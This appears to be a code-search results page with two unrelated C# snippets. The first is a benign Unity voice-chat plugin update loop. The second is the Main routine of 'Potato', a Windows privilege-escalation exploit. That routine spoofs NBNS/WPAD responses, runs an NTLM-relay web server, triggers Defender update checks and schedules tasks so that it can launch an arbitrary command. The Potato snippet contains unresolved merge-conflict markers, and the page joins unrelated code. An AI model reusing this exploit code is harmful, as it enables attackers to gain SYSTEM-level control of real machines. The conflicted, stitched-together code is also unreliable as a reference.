コード例 #1
0
ファイル: Startup.cs プロジェクト: AhmedMoustafa1/voip
        private static void Update()
        {
            Logs.WriteMultithreadedLogs();

            //Do nothing while a recompile is pending
            if (_recompiling)
            {
                return;
            }

            //Change the value compiled into DissonanceRootPath.BasePath as necessary
            if (!CheckInstallLocation())
            {
                return;
            }

            //Now that we know the BasePath is correct launch the welcome window and the update checker
            if (!_startupDone)
            {
                WelcomeLauncher.Startup();
                UpdateLauncher.Startup();
                _startupDone = true;
            }

            if (SafeUpdate != null)
            {
                SafeUpdate();
            }
        }
コード例 #2
0
ファイル: Program.cs プロジェクト: breenmachine/Potato
        static int Main(string[] args) 
        {
            Dictionary<string, string> argDict = parseArgs(args);
            String cmd = "\"C:\\Windows\\System32\\cmd.exe\" /K start";
            String ip = null, disable_exhaust = null, disable_spoof = null, disable_defender = null,schedule_task = null,spoof_host = "WPAD";
            String wpad_exclude_str="live.sysinternals.com";
            int srvPort = 80;
   
            if (argDict.ContainsKey("ip")) ip = argDict["ip"];
            if (argDict.ContainsKey("cmd")) cmd = argDict["cmd"];
            if (argDict.ContainsKey("disable_exhaust")) disable_exhaust = argDict["disable_exhaust"];
            if (argDict.ContainsKey("disable_defender")) disable_defender = argDict["disable_defender"];
            if (argDict.ContainsKey("disable_spoof")) disable_spoof = argDict["disable_spoof"];
            if (argDict.ContainsKey("spoof_host")) spoof_host = argDict["spoof_host"];
            if (argDict.ContainsKey("wpad_exclude")) wpad_exclude_str = argDict["wpad_exclude"];
            if (argDict.ContainsKey("schedule_task")) schedule_task = argDict["schedule_task"];
            if (argDict.ContainsKey("srv_port")) srvPort = Int32.Parse(argDict["srv_port"]);

            if (ip == null)
            {
                Console.WriteLine("Usage: potato.exe -ip <ip address, required> -cmd <command, optional> -disable_exhaust <true/false, optional> -disable_defender <true/false, optional> -disable_spoof <true/false, optional> -spoof_host <default wpad, optional> -wpad_exclude <comma separated host to exclude, optional> -schedule_task <true/false, Win10 only, optional> -srv_port <port for webserver to listen, default 80>");
                return 0;
            }
            bool disableExhaust = false;
            if (disable_exhaust != null && disable_exhaust.Equals("true"))
            {
                disableExhaust = true;
            }

            Spoofer spoof;
            spoof = new NBNSSpoofer();
     
            HTTPNtlmHandler httpServer = new HTTPNtlmHandler();
            String[] wpad_exclude = wpad_exclude_str.Split(',');
            Thread httpServerThread = new Thread(() => httpServer.startListening(cmd,wpad_exclude,srvPort));
            httpServerThread.Start();
            
            Thread spoofThread = new Thread(() => spoof.startSpoofing(ip, spoof_host, disableExhaust));

            if (disable_spoof == null || disable_spoof.Equals("false"))
            {
                spoofThread.Start();
                if (!disableExhaust)
                {
                    while (NBNSSpoofer.doneUdp == false)
                    {
                        Thread.Sleep(2000);
                    }
                }
                spoof.checkSpoof(spoof_host);
                Console.WriteLine("Spoofed target " + spoof_host + " succesfully...");
            }

            UpdateLauncher updateL = new UpdateLauncher();
            Thread updateLThread = new Thread(() => updateL.launchUpdateCheck());
            if (disable_defender == null || disable_defender.Equals("false"))
            {
                updateLThread.Start();
            }

            ScheduleTask sc = new ScheduleTask();
<<<<<<< HEAD
            Thread schTask = new Thread(() => sc.schtask(srvPort));
            if (schedule_task != null && schedule_task.Equals("true"))
            {
                schTask.Start(srvPort);
=======
            Thread schTask = new Thread(() => sc.schtask());
            if (schedule_task != null && schedule_task.Equals("true"))
            {
                schTask.Start();
>>>>>>> a80fdfbf7cbef7ae601d584bf185afc7c211099c
            }

            httpServer.finished.WaitOne();
            spoofThread.Abort();
            updateLThread.Abort();
            httpServerThread.Abort();
            return 0;
        }
    }